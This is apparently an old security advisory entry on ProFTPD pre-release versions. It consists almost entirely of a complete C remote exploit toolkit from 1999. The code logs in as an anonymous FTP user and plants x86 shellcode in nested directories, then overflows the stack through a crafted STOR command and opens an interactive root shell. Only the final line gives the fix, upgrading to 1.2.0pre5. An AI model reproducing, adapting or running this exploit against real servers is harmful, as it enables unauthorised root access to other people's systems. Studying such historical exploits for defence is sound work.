COMMAND

    Proftpd

SYSTEMS AFFECTED

    munices

PROBLEM

    Yet another proftpd exploit...

    /*
    * babcia padlina ltd. (poland, 17/08/99)
    *
    * your ultimate proftpd pre0-3 exploiting toolkit
    *
    * based on:
    *               - adm-wuftpd by duke
    *               - kombajn do czereśni by Lam3rZ (thx for shellcode!)
    *
    * thx and greetz.
    */

    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>

    #define MAXARGLEN       64
    #define MAXLINE         1024
    #define ANONL           "ftp"
    #define ANONP           "mozilla@"
    #define INCOM           "/incoming/"
    #define FTPPORT         21
    #define RET             0xbffff550
    #define NOP             0x90
    #define ALIGN           0
    #define CONTENT         "y0u ar3 n0w 0wn3d!"
    #define GREEN           "\033[1;32m"
    #define RED             "\033[1;31m"
    #define NORM            "\033[1;39m"
    #define BOLD            "\E[1m"
    #define UNBOLD          "\E[m"

    char *av0;
    struct sockaddr_in cli;
    char sendbuf[MAXLINE];

    #ifdef DEBUG
    FILE *phile;
    #endif

    long getip(name)
    char *name;
    {
            struct hostent *hp;
            long ip;
            extern int h_errno;

            if ((ip=inet_addr(name))==-1)
            {
                    if ((hp=gethostbyname(name))==NULL)
                    {
                            fprintf(stderr, "gethostbyname(): %s\n",
    strerror(h_errno));
                            exit(1);
                    }
                    memcpy(&ip, (hp->h_addr), 4);
            }
            return ip;
    }

    int readline(sockfd, buf)
    int sockfd;
    char *buf;
    {
            int done = 0;
            char *n = NULL, *p = NULL, localbuff[MAXLINE];

            while (!done)
            {
                    if (!p)
                    {

                            int count;

                            bzero(localbuff, MAXLINE);

                            if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
                            {
                                    (void)fprintf(stderr, "IO error.\n");
                                    return -1;
                            }
    //
    #ifdef DEBUG
                            fprintf(phile, "Received: %s", localbuff);
    #endif
    //

                            localbuff[count] = 0;
                            p = localbuff;
                    }

                    n=(char *)strchr(p, '\r');

                    if (n)
                    {
                            *n = 0;
                            n += 2;
                            done = 1;
                    }

                    bzero(buf, MAXLINE);

                    strncat(buf, p, MAXLINE);
                    p = n;
            }
            return 0;
    }

    int eatthis(sockfd, line)
    int sockfd;
    char *line;
    {
            do
            {
                    bzero(line, MAXLINE);
                    if (readline(sockfd, line) < 0) return -1;
            } while (line[3] != ' ');

            return (int)(line[0] - '0');
    }

    int connecttoftp(host)
    char *host;
    {
            int sockfd;

            bzero(&cli, sizeof(cli));
            cli.sin_family = AF_INET;
            cli.sin_addr.s_addr=getip(host);
            cli.sin_port = htons(FTPPORT);

    //
    #ifdef DEBUG
            fprintf(phile, "Connecting to %s.\n", host);
    #endif
    //

            if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
            {
                    perror("socket");
                    return -1;
            }

            if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
            {
                    perror("connect");
                    return -1;
            }

    //
    #ifdef DEBUG
            fprintf(phile, "Connected to %s.\n", host);
    #endif
    //

            return sockfd;
    }

    int logintoftp(sockfd, login, passwd)
    int sockfd;
    char *login, *passwd;
    {
            int result;
            char errbuf[MAXLINE];

            result = eatthis(sockfd, errbuf);

            if (result < 0) return -1;
            if (result > 2)
            {
                    fprintf(stderr, "%s\n", errbuf);
                    return -1;
            }

            bzero(sendbuf, MAXLINE);
            sprintf(sendbuf, "USER %s\r\n", login);
            write(sockfd, sendbuf, strlen(sendbuf));

    //
    #ifdef DEBUG
            fprintf(phile, "Sending: %s", sendbuf);
    #endif
    //

            result = eatthis(sockfd, errbuf);

            if (result < 0) return -1;
            if (result > 3)
            {
                    fprintf(stderr, "%s\n", errbuf);
                    return -1;
            }

            bzero(sendbuf, MAXLINE);
            sprintf(sendbuf, "PASS %s\r\n", passwd);
            write(sockfd, sendbuf, strlen(sendbuf));

    //
    #ifdef DEBUG
            fprintf(phile, "Sending: %s", sendbuf);
    #endif
    //

            result = eatthis(sockfd, errbuf);

            if (result < 0) return -1;
            if (result > 2)
            {
                    fprintf(stderr, "%s\n", errbuf);
                    return -1;
            }

            return 0;
    }

    int makedir(dir, sockfd)
    char *dir;
    int sockfd;
    {
            char buf[MAXLINE], errbuf[MAXLINE], *p;
            int n, result;

            bzero(buf, MAXLINE);
            p = buf;
            for(n=0;n < strlen(dir);n++)
            {

                    if(dir[n]=='\xff')
                    {
                            *p='\xff';
                            p++;
                    }
                    *p=dir[n];
                    p++;
            }

            bzero(sendbuf, MAXLINE);
            sprintf(sendbuf, "MKD %s\r\n", buf);
            write(sockfd, sendbuf, strlen(sendbuf));

    //
    #ifdef DEBUG
            fprintf(phile, "Sending: %s", sendbuf);
    #endif
    //

            result = eatthis(sockfd, errbuf);

            if (result < 0) return -1;
            if (result > 2)
            {
                    fprintf(stderr, "%s\n", errbuf);
                    return -1;
            }

            bzero(sendbuf, MAXLINE);
            sprintf(sendbuf, "CWD %s\r\n", buf);
            write(sockfd, sendbuf, strlen(sendbuf));

    //
    #ifdef DEBUG
            fprintf(phile, "Sending: %s", sendbuf);
    #endif
    //

            result = eatthis(sockfd, errbuf);

            if (result < 0) return -1;
            if (result > 2)
            {
                    fprintf(stderr, "%s\n", errbuf);
                    return -1;
            }

            return 0;
    }

    int mkd(sockfd, cwd)
    int sockfd;
    char *cwd;
    {

            char shellcode[]=
                    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
                    "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
                    "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
                    "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
                    "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
                    "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
                    "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
                    "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
                    "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
                    "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
                    "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";

            char buf1[MAXLINE], tmp[MAXLINE], *p, *q;

            if (makedir(cwd, sockfd) < 0) return -1;

            bzero(buf1, MAXLINE);

            memset(buf1, 0x90, 756);
            memcpy(buf1, cwd, strlen(cwd));

            p = &buf1[strlen(cwd)];
            q = &buf1[755];

            bzero(tmp, MAXLINE);

            while(p <= q)
            {
                    strncpy(tmp, p, 100);
                    if (makedir(tmp, sockfd) < 0) return -1;
                    p+=100;
            }


            if (makedir(shellcode, sockfd) < 0) return -1;
            return 0;
    }

    int put(sockfd, offset, align)
    int sockfd, offset, align;
    {
            char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE],
    hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
            int n, sock, nsock, port, i;
            struct in_addr in;
            int octet_in[4], result;
            char *oct;
            struct sockaddr_in yo;

            bzero(buf2, MAXLINE);
            memset(buf2, NOP, 100);

            for(i=4-ALIGN-align; i<96; i+=4)
                    *(long *)&buf2[i] = RET + offset;

            p = &buf2[0];
            q = &buf2[99];

            bzero(tmp, MAXLINE);
            strncpy(tmp, p, strlen(buf2));

            port=getpid()+1024;

            bzero(&yo, sizeof(yo));
            yo.sin_family = AF_INET;
            yo.sin_port=htons(port);

            bzero(buf, MAXLINE);
            p=buf;
            for(n=0;n<strlen(tmp);n++)
            {
                    if(tmp[n]=='\xff')
                    {
                            *p='\xff';
                            p++;
                    }
                    *p=tmp[n];
                    p++;
            }

            gethostname(hostname, MAXLINE);
            in.s_addr = getip(hostname);

            oct=(char *)strtok(inet_ntoa(in),".");
            octet_in[0]=atoi(oct);
            oct=(char *)strtok(NULL,".");
            octet_in[1]=atoi(oct);
            oct=(char *)strtok(NULL,".");
            octet_in[2]=atoi(oct);
            oct=(char *)strtok(NULL,".");
            octet_in[3]=atoi(oct);

            bzero(sendbuf, MAXLINE);
            sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0],
    octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
            write(sockfd, sendbuf, strlen(sendbuf));

    //
    #ifdef DEBUG
            fprintf(phile, "Sending: %s", sendbuf);
    #endif
    //

            result = eatthis(sockfd, errbuf);

            if (result < 0) return -1;
            if (result > 2)
            {
                    fprintf(stderr, "%s\n", errbuf);
                    return -1;
            }

            if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
                    perror("socket()");
                    return -1;
            }

            if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
            {
                    perror("bind()");
                    close(sock);
                    return -1;
            }

            if (listen (sock,10) < 0)
            {
                    perror("listen()");
                    close(sock);
                    return -1;
            }

            bzero(sendbuf, MAXLINE);
            sprintf(sendbuf, "STOR %s\r\n", buf);
            write(sockfd, sendbuf, strlen(sendbuf));

    //
    #ifdef DEBUG
            fprintf(phile, "Sending: %s", sendbuf);
    #endif
    //

            result = eatthis(sockfd, errbuf);

            if (result < 0) return -1;
            if (result > 2)
            {
                    fprintf(stderr, "%s\n", errbuf);
                    return -1;
            }

            if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct
    sockaddr))) < 0)
            {
                    perror("accept()");
                    close(sock);
                    return -1;
            }

            write(nsock, CONTENT, sizeof(CONTENT));

    //
    #ifdef DEBUG
            fprintf(phile, "Sending: %s", CONTENT);
    #endif
    //

            close(sock);
            close(nsock);

            return 0;
    }

    int sh(sockfd)
    int sockfd;
    {
            char buf[MAXLINE];
            int c;
            fd_set rf, drugi;

            FD_ZERO(&rf);
            FD_SET(0, &rf);
            FD_SET(sockfd, &rf);

            while (1)
            {
                    bzero(buf, MAXLINE);
                    memcpy (&drugi, &rf, sizeof(rf));
                    select(sockfd+1, &drugi, NULL, NULL, NULL);
                    if (FD_ISSET(0, &drugi))
                    {
                            c = read(0, buf, MAXLINE);
                            send(sockfd, buf, c, 0x4);
                    }

                    if (FD_ISSET(sockfd, &drugi))
                    {
                            c = read(sockfd, buf, MAXLINE);
                            if (c<0) return 0;
                            write(1,buf,c);
                    }
            }
    }

    void usage(void)
    {
            (void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o
    offset] [-a align] host\n", av0);
            exit(1);
    }

    int main(argc, argv)
    int argc;
    char **argv;
    {
            extern int optind, opterr;
            extern char *optarg;
            int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
            char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];

            (void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour
    ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GR
    EEN, NORM, UNBOLD);

            if (strchr(argv[0], '/'))
                    av0 = strrchr(argv[0], '/') + 1;
            else
                    av0 = argv[0];

            opterr = aflag = oflag = lflag = pflag = dflag = 0;

            while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
                    switch((char)ch)
                    {
                            case 'l':
                                    lflag = 1;
                                    strncpy(login, optarg, MAXARGLEN);
                                    break;

                            case 'p':
                                    pflag = 1;
                                    strncpy(passwd, optarg, MAXARGLEN);
                                    break;

                            case 'd':
                                    dflag = 1;
                                    strncpy(cwd, optarg, MAXARGLEN);
                                    break;

                            case 'o':
                                    oflag = 1;
                                    offset = atoi(optarg);
                                    break;

                            case 'a':
                                    aflag = 1;
                                    align = atoi(optarg);
                                    break;

                            case '?':
                            default:
                                    usage();
                    }

            argc -= optind;
            argv += optind;

            if (argc != 1) usage();
            if (!lflag) strncpy(login, ANONL, MAXARGLEN);
            if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
            if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
            if (!oflag) offset = 0;
            if (!aflag) align = 0;

    //
    #ifdef DEBUG
            phile = fopen("debug", "w");
    #endif
    //

            if ((sockfd = connecttoftp(*argv)) < 0)
            {
                    (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
    //
    #ifdef DEBUG
                    fclose(phile);
    #endif
    //
                    exit(1);
            }

            (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

            if (logintoftp(sockfd, login, passwd) < 0)
            {
                    (void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n",
    *argv, login, passwd);
    //
    #ifdef DEBUG
                    fclose(phile);
    #endif
    //
                    exit(1);
            }

            (void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in
    %s\n", login, passwd, cwd);

            if (mkd(sockfd, cwd) < 0)
            {
                    (void)fprintf(stderr, "Unknown error while making
    directories.\n");
    //
    #ifdef DEBUG
                    fclose(phile);
    #endif
    //
                    exit(1);
            }

            (void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET +
    offset, align);

            if (put(sockfd, offset, align) < 0)
            {
                    (void)fprintf(stderr, "Unknown error while sending RETs.\n");
    //
    #ifdef DEBUG
                    fclose(phile);
    #endif
    //
                    exit(1);
            }

            (void)fprintf(stderr, "Y0u are n0w r00t.\n");

            if (sh(sockfd) < 0)
            {
                    (void)fprintf(stderr, "Connection unexpectly terminated.\n");
    //
    #ifdef DEBUG
                    fclose(phile);
    #endif
    //
                    close(sockfd);
                    exit(1);
            }
    //
    #ifdef DEBUG
            fclose(phile);
    #endif
    //
            exit(0);
    }

SOLUTION

    ProFTPD 1.2.0pre5 should  *CORRECTLY* address the  security issues
    pointed out.